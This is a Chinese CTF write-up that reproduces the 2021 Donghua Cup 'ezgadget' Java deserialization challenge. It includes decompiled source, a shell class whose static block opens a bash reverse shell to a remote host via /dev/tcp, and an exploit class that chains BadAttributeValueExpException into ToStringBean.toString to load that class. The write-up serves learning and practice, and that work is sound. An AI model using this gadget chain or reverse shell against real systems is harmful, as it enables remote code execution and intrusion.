东华杯2021 ezgadget复现
环境搭建
题目给了ezgadget附件,需要自取
链接:https://pan.baidu.com/s/1mZt_aorU_kZDo-GJH4wwxQ
提取码:tmng
运行(需要有java环境)
java -jar ezgadget.jar
源码分析
我们把附件扔进jd-gui
,文件不是很多
mark一下:我在本地复现的时候,用idea创建的一个maven项目,没有用模板,然后将jd-gui获取的源码放进去,将lib这些包加入
jd-gui中的显示
我们简要分析一下
User类主要是User类的编写,该类实现了Serializable
接口
IndexController
类着重分析一下,两个路由,一个是/
,也就是回显个字符串index
;看另一个readobject
,这个会接收一个参数data
,并且使用Tools
类的base64Decode
方法进行解码,字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,name.equals("gadgets") && year == 2021
判断成功之后,会调用readObject
方法
IndexController.class
@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}
ToStringBean
类继承了ClassLoader
类,实现了Serializable
接口,该类有一个成员变量ClassByte
,在toString
方法中,defineClass将成员变量ClassByte
还原出一个Class对象
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}
Tools类中有base64加解密,序列化和反序列化的方法
到这里思路很明显的
通过反序列化的readObject
方法去调用ToStringBean
类的toString
方法
cc链5中,利用BadAttributeValueExpException
的readObject方法去调用toStirng
方法,可以把这个思路拿来用
exp
整一个可以弹shell的类,里面放上static静态代码块,通过defineClass
触发执行(static块执行会发生在一个初始化的阶段)
shell.java
package com.ezgame.ctf;
import java.io.IOException;
//反弹shell的类
public class shell {
static {
try{
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vps/7005 0>&1"});
} catch (IOException e){
e.printStackTrace();
}
}
}
编译,记录class文件的地址
在对BadAttributeValueExpException
类的成员变量val
进行赋值的时候,不要直接用构造函数去赋值,可以分析一下
如果我们传入的参数是null,那么就会为null;如果不是null,那么会赋值为val.toString
,跟进
而这个toString方法返回的就不是我们输入的对象了
所以还是用反射去进行赋值
exp.java
package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class exp {
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean();
Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
//获取到shell对象编译后的地址
byte[] bytes = Files.readAllBytes(Paths.get("D:\\java\\ctf\\target\\classes\\com\\ezgame\\ctf\\shell.class"));
//将值传入该对象的成员变量中
classByteField.set(toStringBean,bytes);
//到这里,危险函数部分就好了,接下来利用cc5,去调用这个危险函数
//实例化该类的时候,不能直接像下面这样将参数直接传进行,应该使用反射
//BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11111);//这个初始值之后会自动会改,所以这里随便整
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
//反射赋值
val.set(badAttributeValueExpException,toStringBean);
//它的readObject方法会去调用成员变量val的toString方法,成员变量val是Object属性的
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
//因为读取参数的时候,会先去读取一个字符串,一个数字,然后才是Object,所以按照顺去output
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
//然后才是我们的BadAttributeValueExpException类对象
objectOutputStream.writeObject(badAttributeValueExpException);
//base64加密一下
//转换为字节流
byte[] bytes1 = byteArrayOutputStream.toByteArray();
//用该工具类Tools进行base64加密
String s = Tools.base64Encode(bytes1);
System.out.println(s);
}
}
注意要进行url编码一下,不然在将空格+
进行base64解码的时候会出现问题
需要进行一次url编码,在burp中ctrl+u进行url编码
同时监听的端口也有了响应
环境是本地的,弹个shell能成功即可